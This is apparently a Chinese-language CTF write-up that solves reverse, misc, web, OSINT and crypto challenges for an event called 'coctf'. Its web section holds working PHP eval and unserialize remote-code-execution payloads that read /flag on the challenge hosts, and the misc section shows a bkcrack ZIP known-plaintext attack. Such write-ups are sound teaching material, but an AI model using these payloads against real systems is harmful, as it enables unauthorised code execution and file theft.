一、Revese方向
1、ez_py
从代码观察看,隐藏了一个假flag{7h1s_1s_n07_4_r341_f14g!}
校验逻辑是用真正的 flag来计算一个 key,然后和用户输入做异或比较
这样我们可以 反推 真正的正确 flag
程序逻辑:
if i % 3 == 0:
key = ((ord(flag[i])) + 0xc) ^ 0xc7
elif i % 3 == 1:
key = ((ord(flag[i])) + 0xb) ^ 0x7f
elif i % 3 == 2:
key = ((ord(flag[i])) + 0xa) ^ 0xee
result = ((key + 0xf) ^ ord(input[i]))
if result != enc[i]: # enc是已知密文
错误
我们知道 enc[i],可以反推 ord(input[i])
:
ord(input[i]) = (key + 0xf) ^ enc[i]
而 key
是用 flag[i]
计算得来,且假 flag 已知。
所以我们直接逆推:
enc = [167, 120, 247, 183, 366, 197, 146, 11, 146, 140,
26, 146, 245, 74, 210, 166, 123, 235, 228, 86,
210, 166, 22, 201, 136, 102, 145, 132, 67, 5]
false_flag = 'flag{7h1s_1s_n07_4_r341_f14g!}'
real_flag = ''
for i in range(len(enc)):
if i % 3 == 0:
key = ((ord(false_flag[i])) + 0xc) ^ 0xc7
elif i % 3 == 1:
key = ((ord(false_flag[i])) + 0xb) ^ 0x7f
elif i % 3 == 2:
key = ((ord(false_flag[i])) + 0xa) ^ 0xee
real_char = chr((key + 0xf) ^ enc[i])
real_flag += real_char
print(real_flag)
运行结果得到:
coctf{PY07H0N_15_4_G00D_L4NG!}
2、逆向之神
用ida打开文件然后看一下字符串可以看见前三个flag

最后一段在函数里,我看见这样一个函数

是一个简单的异或,写一个脚本对字符串进行还原可以得到最后一个flag
k="u},)`)ux|x.t){uu|0"
f=""
for i in range(len(k)):
f+=chr(ord(k[i])^0x4d)
print(f)
#80ad-d8515c9d6881}
拼起来就可以得到最终的flag
coctf{1f094654-5a56-640d-80ad-d8515c9d6881}
3、逆向入门指南
用ida打开文件然后看一下字符串可以看见后半段flag
前半段flag藏在指导文件的标题下(害我在ida里找了半个小时没找到!!!!)
4、Ez_py_revenge
010打开能看见密文以及部分编码方式

解base64解base58然后转换成字符即可获得flag

from Crypto.Util.number import *
c=13919329233763700950288759429443927711362036254971004735758152469805653184569918398525737036707473482109
print(long_to_bytes(c))
运行后得到flag
5、外壳
拿到文件放在die里面看下壳

用的upx,直接用工具去除

去壳之后ida打开看见两串字符一串像base64替换之后的表,一串像密文

解一个换表的base64可以获得flag
6、M4Z3

先看main函数,可以看到两个关键函数
unk_140022471 函数:400 字节,形成一个20x20的矩阵
byte_140022600 函数:是key
在 rdata 里有一段 400 字节 (20×20),即 unk_140022471,这就是加密后的迷宫地图,程序里对迷宫的处理逻辑大致如下:
取 XOR key:[0x55, 0xAA, 0x5A, 0xA5](即 byte_140022600)
按行解密,每次处理两个字节,规则:
v8 = encoded[j] ^ key[(j+1)&3]
v27[...] = encoded[j-1] ^ key[(j&2)]
v27[...] = v8
解密后得到 20×20 的迷宫矩阵
迷宫里:0 → 可通行 (.)、非 0 → 墙 (#)
起点在左上角 (0,0),终点在右下角 (19,19),使用 BFS(广度优先搜索)得到一条最短路径,路径用 U/D/L/R 表示,将路径拼接成字符串,格式就是coctf{md5}
得到路径:DDDRRRDDRRRRRUUUURRRRDDDDRRRRDDLLLLLLLLDDRRRRRRRRDDDDDLLUUULLDDDDLLLLLLLUUUULLLDDDDDDRRRRRRRRRRRRRDDRRRR

md5后得到flag:coctf{a9ed4ff52ba68763e4da876630373234}
二、misc方向
1、齐贝斯林、贝斯低语者!
打开附件可以看见密文是典型的base64编码之后的格式,放到cyberchef里面解发现嵌套了很多层base64编码,一种循环解最后可以获得

2、“先知”的预言
我看到文件中只包含三种符号
最常见的模式是使用一个累加器(一个变量,称之为 acc
)来进行计算。我们可以做出以下假设:
- 程序开始时,累加器
acc
的值为 0 - 遇到符号
↑
,acc
的值加 1 - 遇到符号
↓
,acc
的值减 1 - 遇到符号
^
,程序将acc
当前的值作为 ASCII 码,转换成对应的字符并输出
为了验证规则并将整个文件解码,编写一个简单的python代码
def solve_misc(code):
accumulator = 0
result = ""
for char in code:
if char == '↑':
accumulator += 1
elif char == '↓':
accumulator -= 1
elif char == '^':
result += chr(accumulator)
return result
source_code = "↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑^↑↑↑↑↑↑↑↑↑↑↑↑^↓↓↓↓↓↓↓↓↓↓↓↓^↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑^↓↓↓↓↓↓↓↓↓↓↓↓↓↓^↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑^↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓^↑↑↑↑↑↑^↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑^↓↓^↑↑↑^↓↓↓^↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓^↓↓↓^↓↓↓↓^↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑^↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓^↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑^↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓^↓↓↓↓↓↓↓↓↓↓↓↓^↑↑↑↑↑↑↑^↑↑↑^↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑^↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓^↓↓↓↓↓↓^↑↑↑↑↑↑↑↑↑↑↑↑^↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑^↓^↓^↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓^↑↑↑↑↑↑↑↑↑↑^↓↓↓↓^↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑^↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓^↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑^↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓^↓^↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑^↓↓↓↓^↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓^↑↑↑^↓↓↓↓^↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑^"
flag = solve_misc(source_code)
print(flag)
运行后得到flag
coctf{17ecfc41-c5b9-47a3-9edc-73f9b98fb362}
3、黑白棋阵的奥秘
下载文件并观察猜测这是一个二维码
编写代码将不同字符更换为不同颜色
from PIL import Image
data = """
#####################################
#####################################
##@@@@@@@##@@#@#####@@@@#@##@@@@@@@##
##@#####@##@#@###@##@##@####@#####@##
##@#@@@#@#@@####@@####@@@#@#@#@@@#@##
##@#@@@#@#@###@#####@##@##@#@#@@@#@##
##@#@@@#@#@###@@@@@###@@@###@#@@@#@##
##@#####@#@@##@#@###@@#@@@@#@#####@##
##@@@@@@@#@#@#@#@#@#@#@#@#@#@@@@@@@##
##########@#@@##@#@##@@@@@###########
##@#@@@@@####@@@@#@@#@@##@@#@@@@@####
##@#@#@@#@@###@@###@@@###@##@##@#@@##
#####@@@@@#####@@@#@##@#@#@####@#####
##@@##@###@@@#@@#@#@@#@####@###@@@###
##@@###@@@@###@#@@@##@@@@#@###@######
####@#@@#@##@#@@#@##@#####@@@@##@#@##
###@@@@#@@#@#@##@@@###@@@####@@#@@###
##@#@@@##@@#@#@@@@#####@@##@#@##@@@##
##@@##@@@@@#@@#@@@@@####@@#@#@@@#####
###@@@#@#@@@@#@#####@@#@#@@#@###@#@##
##@@##@#@@#@#@##@@##@#@@##@###@@#@###
##@##@@##@#@####@#@####@@#@#@@@@@####
#######@@@@@@@@##@##@##@#@###@@@#@###
##@@#@@@#@@#@@###@@###@@@@#@@##@@#@##
##@#@#@#@##@@#@######@##@####@@##@###
##@#@@###@@####@##@#@@@@##@@#@##@@@##
##@##@@@@@@###@@###@@@####@@@@@@##@##
##########@###@###@@@@@#@@@###@@@@@##
##@@@@@@@##@@###@@#@####@@@#@#@#@####
##@#####@#@@@@@@@##@@#@###@###@@@@@##
##@#@@@#@#@###@#@@@###@@@#@@@@@######
##@#@@@#@#@@#####@#@@#########@###@##
##@#@@@#@#@#@@@#@@@###@@##@@@##@@####
##@#####@#####@@@@#####@####@@@@@####
##@@@@@@@#@@@@#@#@#@##@##@@######@###
#####################################
#####################################
"""
matrix = []
for line in data.splitlines():
if not line.strip():
continue
row = []
for ch in line:
if ch == '@':
row.append(0)
else:
row.append(1)
matrix.append(row)
height = len(matrix)
width = len(matrix[0])
img = Image.new("1", (width, height))
for y in range(height):
for x in range(width):
img.putpixel((x, y), matrix[y][x])
scale = 10
img = img.resize((width*scale, height*scale), Image.NEAREST)
img.save("qr_fixed.png")
print("已生成 qr_fixed.png")
生成得到

手机扫描得到flag
coctf{eaa284ae-f84a-4aed-bf08-c4a069bb128a}
4、入场须知

观察即得flag
5、Misc大陆旅游指南
下载pdf后进行全文复制,即可发现flag

复制出来即可看到
coctf{Stego_1s_Interesting}
6、故障机器人0k@be

nc连接服务器可知,这是一道算术类挑战,于是编写脚本对服务器进行自动回应
from pwn import *
host = "ctf.ctbu.edu.cn"
port = 33624
r = remote(host, port)
while True:
line = r.recvline().decode().strip()
if '=' in line:
question = line.split('=')[0].split(':')[-1].strip()
try:
answer = eval(question)
except Exception as e:
print(f"解析失败: {question}")
break
print(f"[题目] {question} = {answer}")
r.sendline(str(int(answer)))
else:
print(line)

点击即送flag
7、无字天书
用HxD打开文件看到

用txt打开文本不显示内容,猜测是类零宽编码
\u200b
零宽空格\u200c
零宽不连字\u200d
零宽连字\ufeff
零宽无断空格
可以用 Python 直接提取文本里的非标准可见字符
查询得知这种零宽字符隐藏信息的方式通常会把不同的零宽字符映射成二进制
之后可能每 8 位转成ASCII,也有可能base64
于是写代码进行尝试不同组合、、不同编码
import base64
from itertools import permutations
with open('attachment.txt', 'r', encoding='utf-8') as f:
data = f.read()
zw_chars = [c for c in data if ord(c) in [0x200b, 0x200c, 0x200d, 0xfeff]]
zw_unique = sorted(set(zw_chars))
print(f"检测到的零宽字符种类: {[hex(ord(c)) for c in zw_unique]}")
def try_binary_decode(zero_chars, mapping):
bits = ''.join(mapping.get(c, '') for c in zero_chars)
out_bytes = []
for i in range(0, len(bits), 8):
byte_bits = bits[i:i+8]
if len(byte_bits) == 8:
out_bytes.append(int(byte_bits, 2))
try:
return bytes(out_bytes).decode('utf-8', errors='ignore')
except:
return None
def try_base64_decode(zero_chars, mapping):
bits = ''.join(mapping.get(c, '') for c in zero_chars if c in mapping)
b64_chars = []
for i in range(0, len(bits), 6):
chunk = bits[i:i+6]
if len(chunk) == 6:
b64_chars.append(chr(int(chunk, 2) + 32))
b64_str = ''.join(b64_chars)
try:
return base64.b64decode(b64_str).decode('utf-8', errors='ignore')
except:
return None
results = set()
if len(zw_unique) >= 2:
for zero, one in permutations(zw_unique, 2):
mapping = {zero: '0', one: '1'}
res = try_binary_decode(zw_chars, mapping)
if res:
results.add(res)
mapping_rev = {zero: '1', one: '0'}
res2 = try_binary_decode(zw_chars, mapping_rev)
if res2:
results.add(res2)
if len(zw_unique) >= 3:
for zero, one in permutations(zw_unique, 2):
mapping = {zero: '0', one: '1'}
res = try_binary_decode(zw_chars, mapping)
if res:
results.add(res)
if len(zw_unique) >= 2:
for zero, one in permutations(zw_unique, 2):
mapping = {zero: '0', one: '1'}
res = try_base64_decode(zw_chars, mapping)
if res:
results.add(res)
print("\n===== 可能的解码结果 =====")
for r in results:
print(r)
最后终端输出即可看到flag

8、静谧之眼
根据题目名可以联想到一个工具SilentEye,使用该工具解密可以获得flag

9、Easier_Zip塔的无尽长廊
加密套娃 Zip 题型,利用脚本进行解密
import os
import subprocess
base_dir = "/Users/xxx/Downloads/misc/Easier_Zip塔的无尽长廊"
os.chdir(base_dir)
filename = "Wakt.zip"
password = open("password.txt").read().strip()
layer = 0
while True:
layer += 1
print(f"=== 解压第 {layer} 层 ===")
subprocess.run(["7z", "x", filename, f"-p{password}", "-y"], stdout=subprocess.DEVNULL)
if os.path.exists("flag.txt"):
print("\n🎯 找到 flag:")
print(open("flag.txt").read().strip())
break
if os.path.exists("password.txt"):
password = open("password.txt").read().strip()
print(f"新密码: {password}")
if os.path.exists("Wakt.zip"):
filename = "Wakt.zip"
else:
print("没有更多 ZIP,结束")
break
运行即可得到flag
10、Cat the USB
Wireshark打开可以发现是键盘流量

我们用指令将该字段的数据提取出来

首先给数据加冒号
f=open('usbdata.txt','r')
fi=open('out.txt','w')
while 1:
a=f.readline().strip()
if a:
if len(a)==16:
out=''
for i in range(0,len(a),2):
if i+2 != len(a):
out+=a[i]+a[i+1]+":"
else:
out+=a[i]+a[i+1]
fi.write(out)
fi.write('\n')
else:
break
fi.close()
然后还原成键位
normalKeys = {
"04":"a", "05":"b", "06":"c", "07":"d", "08":"e",
"09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j",
"0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",
"13":"p", "14":"q", "15":"r", "16":"s", "17":"t",
"18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",
"1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4",
"22":"5", "23":"6","24":"7","25":"8","26":"9",
"27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t",
"2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\",
"32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".",
"38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>",
"3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>",
"44":"<F11>","45":"<F12>"}
shiftKeys = {
"04":"A", "05":"B", "06":"C", "07":"D", "08":"E",
"09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J",
"0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",
"13":"P", "14":"Q", "15":"R", "16":"S", "17":"T",
"18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y",
"1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$",
"22":"%", "23":"^","24":"&","25":"*","26":"(","27":")",
"28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>",
"2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"",
"34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>",
"3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>",
"41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('out.txt')
for line in keys:
try:
if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
continue
if line[6:8] in normalKeys.keys():
output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
else:
output += ['[unknown]']
except:
pass
keys.close()
flag=0
print("".join(output))
for i in range(len(output)):
try:
a=output.index('<DEL>')
del output[a]
del output[a-1]
except:
pass
for i in range(len(output)):
try:
if output[i]=="<CAP>":
flag+=1
output.pop(i)
if flag==2:
flag=0
if flag!=0:
output[i]=output[i].upper()
except:
pass
print ('output :' + "".join(output))
将中间多余部分去除可以得到flag

coctf{USB_1s_intersting}
11、Emo_Zip
根据题目提示,猜测是已知明文爆破
文件内有png,利用png已知文件头:89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
保存png文件头到文件
echo 89504E470D0A1A0A0000000D49484452 | xxd -r -ps > png_header
运行 BKCRACK 已知明文攻击
bkcrack -C "/Users/pengyu/Downloads/atachment.zip" -c "她不知道的事.png" -p png_header -o 0
❯ bkcrack -C "/Users/pengyu/Downloads/atachment.zip" -c "她不知道的事.png" -p png_header -o 0
bkcrack 1.8.0 - 2025-08-18
[23:13:19] Z reduction using 9 bytes of known plaintext
100.0 % (9 / 9)
[23:13:19] Attack on 748950 Z values at index 6
Keys: 81a89685 9907e1a1 37a88abe
23.9 % (179004 / 748950)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 179004
[23:17:03] Keys
81a89685 9907e1a1 37a88abe
可以看到密钥,接下来用密钥进行破解
bkcrack -C "/Users/pengyu/Downloads/atachment.zip" \
-c flag.txt \
-k 81a89685 9907e1a1 37a88abe \
-d flag_decrypted.txt
cat flag_decrypted.txt
运行即可看到flag
12、签退
问卷调查做完就给flag
三、Web方向
1、计数挑战
对网页修改value="2999"后,网页报错,说明是服务器和前端有数据验证
随后编写JS代码自动运行,最后到3000后并无flag出现
观察源代码可知计数挑战”页面是一个纯 HTML 表单提交 → 点击按钮 → 整个页面刷新
在浏览器控制台跑的 JS,如果遇到刷新,就会丢失,导致无法自动跑满到 3000
后端的 flag 很可能只会在最后一次响应的 HTML 里返回,所以必须走完整的“加数 → 获取返回页面”的流程,后端才会给 flag
于是编写代码,用纯浏览器 fetch
模拟按钮提交,自己循环到 3000
let count = 0;
let target = 3000;
function send() {
if (count > target) {
console.log("完成! flag:", lastHtml.match(/flag\{.*?\}/i));
return;
}
fetch("/", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: "count=" + count
})
.then(res => res.text())
.then(html => {
lastHtml = html;
console.log("count =", count);
setTimeout(send, 5);
})
.catch(err => {
console.error(err);
setTimeout(send, 1000);
});
}
let lastHtml = "";
send();
最后并未出现flag

气急败坏,于是用连点器暴力破解

2、正在维护的网页

打开实例观察得flag
3、ez_rce

观察可知,这是一个PHP 代码执行漏洞
代码逻辑是:
if(isset($_POST['something'])){
eval($_POST['something']);
}
也就是说,只要用 POST
请求发送 something 参数,它会直接被 eval()
当作 PHP 代码执行,没有任何过滤
eval($_POST['something'])
eval()
会把传入的字符串当作 PHP 代码执行,所以可以这样传参:
something=system('ls');
列全路径的根目录
curl -s -X POST -d "something=system('ls /');" http://ctf.ctbu.edu.cn:33498/
输出为
❯ curl -s -X POST -d "something=system('ls /');" http://ctf.ctbu.edu.cn:33498/
<code><span style="color: #000000">
<br />highlight_file</span><span style="color: #007700">(</span><span style="color: #000<br />if(isset(</span><span style="color: #0000BB">_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'something'</span><span style="color: #007700"<br /> eval(</span><span style="color: #0000BB">_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'something'</span><span style="color: <br /> echo </span><span style="color: #DD0000">"是不是能传<br /></span><span style="color: #0000BB">?></span>
</span>
</code>bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
根目录 /
下直接有一个 flag
文件
直接读取就可看到flag
curl -s -X POST -d "something=system('cat /flag');" http://ctf.ctbu.edu.cn:33498/
4、ez_unserialize
观察得这道题是一个 PHP 反序列化漏洞,而且可以直接拿到 任意代码执行
代码逻辑:
if(isset($_GET['data'])){
$user_data = unserialize($_GET['data']);
}
用户输入的 data 会被直接 unserialize() 反序列化成对象。
在 class example 的 __destruct()
方法中,会调用 $this->funnnn()
funnnn() 会调用 $this->handle->close()
class process
的 close()
方法里有 eval($this->pid)
也就是说,如果我们构造对象链:
主对象是 example
它的 $handle 属性是一个 process
对象
process
对象的 $pid 属性里是我们要执行的 PHP 语句
当 example
销毁时,会执行 eval($this->pid) → RCE
我们要构造
$exploit = new example();
$exploit->handle = new process();
$exploit->handle->pid = "system('cat /flag');";
序列化结果
O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:24:"system('cat /flag');";}}
为了能在 GET 中传递,需要 urlencode()
在在线php程序中运行
<?php
class example { public $handle; }
class process { public $pid; }
$exp = new example();
$exp->handle = new process();
$exp->handle->pid = "system('ls /');die();";
echo urlencode(serialize($exp));
得到输出
O%3A7%3A%22example%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A7%3A%22process%22%3A1%3A%7Bs%3A3%3A%22pid%22%3Bs%3A21%3A%22system%28%27ls+%2F%27%29%3Bdie%28%29%3B%22%3B%7D%7D
访问
http://ctf.ctbu.edu.cn:33499/?data=O%3A7%3A%22example%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A7%3A%22process%22%3A1%3A%7Bs%3A3%3A%22pid%22%3Bs%3A21%3A%22system%28%27ls+%2F%27%29%3Bdie%28%29%3B%22%3B%7D%7D

看到有flag,于是构造payload,把 ls /
换成 cat /flag
<?php
class example { public $handle; }
class process { public $pid; }
$exp = new example();
$exp->handle = new process();
$exp->handle->pid = "system('cat /flag');die();";
echo urlencode(serialize($exp));
在在线php程序运行后得到
O%3A7%3A%22example%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A7%3A%22process%22%3A1%3A%7Bs%3A3%3A%22pid%22%3Bs%3A26%3A%22system%28%27cat+%2Fflag%27%29%3Bdie%28%29%3B%22%3B%7D%7D
最后访问靶机即可直接看到flag
5、Rubik's Cube
进入网页后观察main3.js
、certificate.js
、cuber.min.js
这三个文件
在main3.js
中,明白了核心脉络
游戏一旦检测到 cube.isSolved()
为真 → 会调用:
doCertificate();
并且这个 doCertificate()
函数就是在 certificate.js
中定义的很可能负责展示 flag
于是我猜测直接调用 solveCube()
它会把所有打乱的步骤 undo 回去,相当于瞬间复原魔方,从而触发 cube.isSolved()
打开打开浏览器 F12 控制台并输入
solveCube(0);

果然,成功找到了flag
6、Rubik's Cube Revenge
和上一道题一样,不做赘述
四、OSINT方向
楼、城、桥
依靠谷歌插件进行搜索相似图即得答案

五、Crypto方向
1、PEM
观察得知这个题目是 RSA + PKCS1_OAEP 填充 的经典解密挑战
使用 RSA 私钥 + OAEP 解密
from base64 import b64decode
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
with open("private_key.pem", "rb") as f:
private_key = RSA.import_key(f.read())
cipher_rsa = PKCS1_OAEP.new(private_key)
ciphertext = b64decode(
"hl+3yMmDl+2WjG9JNRYSyaYp6i/Tlnh6PWjEToCT0kztSE0rEyF4o2hz8hQiSK+aE55bT0D/MWnOA9rWWxMVO5TAM3ACOfvjGThNL7az/HoyJkGmLwButxztcgzzLipq8UF1rgUIii/HG1S/d1KfdBw0ETlwjejjQ+zk0ayNqoE="
)
plaintext = cipher_rsa.decrypt(ciphertext)
print(plaintext.decode())
运行即可得到flag
2、YoungMan
根据背景故事联想到凯撒密码
bnbse{405597e0-82d5-445z-8dzd-021834zbzeaz} 这里是一个明显类似 uuid,但字母部分有替换、移位
先拿 “bnbse” 单测:
如果 “bnbse” 是移位加密,猜测原文是 coctf
“b” → “c” 是 +1
“n” → “o” 也是 +1
“b” → “c” +1
“s” → “t” +1
“e” → “f” +1
说明这里整体是 每个字母 +1 的移位,套用规则到整个密文
得到最终flag
coctf{405597f0-82e5-445a-8eae-021834acafba}
3、ez_RSA
在在线RSA解密网站中输入文件中给的e、c、p、q、n、m(n需先进行计算)即得到答案
4、Emperor
对前5个字母对应coctf进行手算,得到密钥CAESA,猜测其为CAESAR,将表格转化为csv,并写代码
import csv
table = []
with open("表.csv", newline='', encoding='utf-8') as f:
reader = csv.reader(f)
for row in reader:
row = [c.strip() for c in row if c.strip()]
table.append(row)
alphabet = table[0]
char_to_index = {c: i for i, c in enumerate(alphabet)}
key = "CAESAR"
ciphertext = "oyqlp5njrxkzrigvivoge3c3jlh2dvlenzh6j".upper()
def vigenere_decrypt_keep_all(text, key):
res = []
ki = 0
for c in text:
if c in alphabet:
row = char_to_index[key[ki % len(key)]]
col = table[row].index(c)
res.append(alphabet[col])
ki += 1
else:
res.append(c)
return ''.join(res).lower()
plaintext = vigenere_decrypt_keep_all(ciphertext, key)
print("解密结果:", plaintext)
解密出来答案为

观察可知,对比原文少了一位,气急败坏,手搓flag一小时得
coctf{eb9d5a8f-8238-4c60-b2c7-b3a3494977f7}
5、I love COCTF
没有给e但是给了e的范围可以去爆破,这里可以用第二组的密文也可以用第三组的,明文信息都是已知的,爆破得到n之后从生成方式可以看出前一组的n和后一组的n有最大公约数q,这样成功的把n分解了,最后解一个rsa即可获得flag
from Crypto.Util.number import *import gmpy2c1=1062176623370087537829567664550683269992950424828701311067835920735596527828279579464404009032513695238331552237685892341426379033602068718984510086318878328852415533020096797297293205452258814723137404396148423510636738271833243772157187726076747061653278703776589317555415774761317253237584224451106348955452261883799899115570539232408441504976901079448545018058832973595354000046206604174104173642100892745555225089035976051987258641605904670814566156370513047118562208042182362125654978463162279240519557109805437988118811102998786499776940458701763849268565552374679584507463358726564269466992920746611618267737n1=12049289418326594553934080462415690662733227006633716346646534580588385101838923558469036064262303600994756644851971937486998540044578478990647132770204350866439143254697381284050624676961401823684320482945206450320436674533803509739407773858759408781245942421044395550612353410503753584481601248750831555897694017716671306068048420763373316042290391784034949831535883151769552316032189835393534440240917666848467788248750452982829468820360452646432483860518854655434014945630022216264999792459570583741013982946129741260052372820647680582726921720643768569258029818600782044867645785934850199229502618698748506301047c2=4586541413952261492119002350978217287239360172899482511856301133417052299654304196751452739860649981419832569665335298425700856324465469264253821117985866936147168967351656032631004057667462704462105841020469974784713445385340597137656321914268661855277250599575739759101738296505814064992203248269882763214379062196005604066531246398738890304506231976083291716363619808683197279406735373138877582878777210880970529565413674264205455204995014244868886025393163181115007162419024516259710426231788619322931455561862442868515665157548022069422724596586350276424244411211634044515176303927155537411314189927769319897620c3=10278617519916706208173762185064227841161217597028505948800731878875418452626323190133336900501731711537925689016772662294634456891646323859999629166774020575622777703380223571141440042251073090220361326989594635910761443317833010764828427644436858325445747216667651338937504416917050454503409032721995215668483633704007853831767276379377273398513944673913849113597588529765342882067923099867486050257392177173498318333682949261564681443728437761707436371726272064051512872024123135115948160317815449409975688611802703963736745904560112479112216614
568282298679714725118895051776500343206497647882710929347523173955198n3=12761147079208061269958813923163550819136232468930809466984205080876030150658133255897450055004778909248759281769474922450736217702510398879628859460825531234131824738952203796833672351458395887365071689070578260809250885762507374598096938849877723518022839711856852398708155913493278867533104078875712591916951119441495912441451765297815263876526640236755324739586152332866720289975460842633451634798205422105438082532376354069883206141937470885188512201024068955089485373940789163433077364375315674555642945817958886943069205543382056444726477970463394734798075486132846910321322400588553324412625145632600050050937m=bytes_to_long(b"COCTFCOCTFCOCTFCOCTFCOCTFCOCTFCOCTFCOCTFCOCTFCOCTFCOCTFCOCTFCOCTFCOCTFCOCTFCOCTFCOCTFCOCTFCOCTFCOCTF")for e in range(100000): if(pow(m,e,n3)==c3): q=gmpy2.gcd(n1,n3) p=n1//q d=gmpy2.invert(e,(p-1)*(q-1)) m1=pow(c1,d,n1) print(long_to_bytes(m1))#coctf{6266d013-4e43-4be1-9b03-5dc2d116e886}
6、Welcome to Crypto
观察可以看出这是一个离散对数
p = 1152921504606846883
g = 2
h = 563012899838390173
要求解
g^x ≡ h (mod p)
在 Sage 里可以直接用它内置的 discrete_log
来求解
discrete_log(Mod(h, p), Mod(g, p))
7、Child’s play
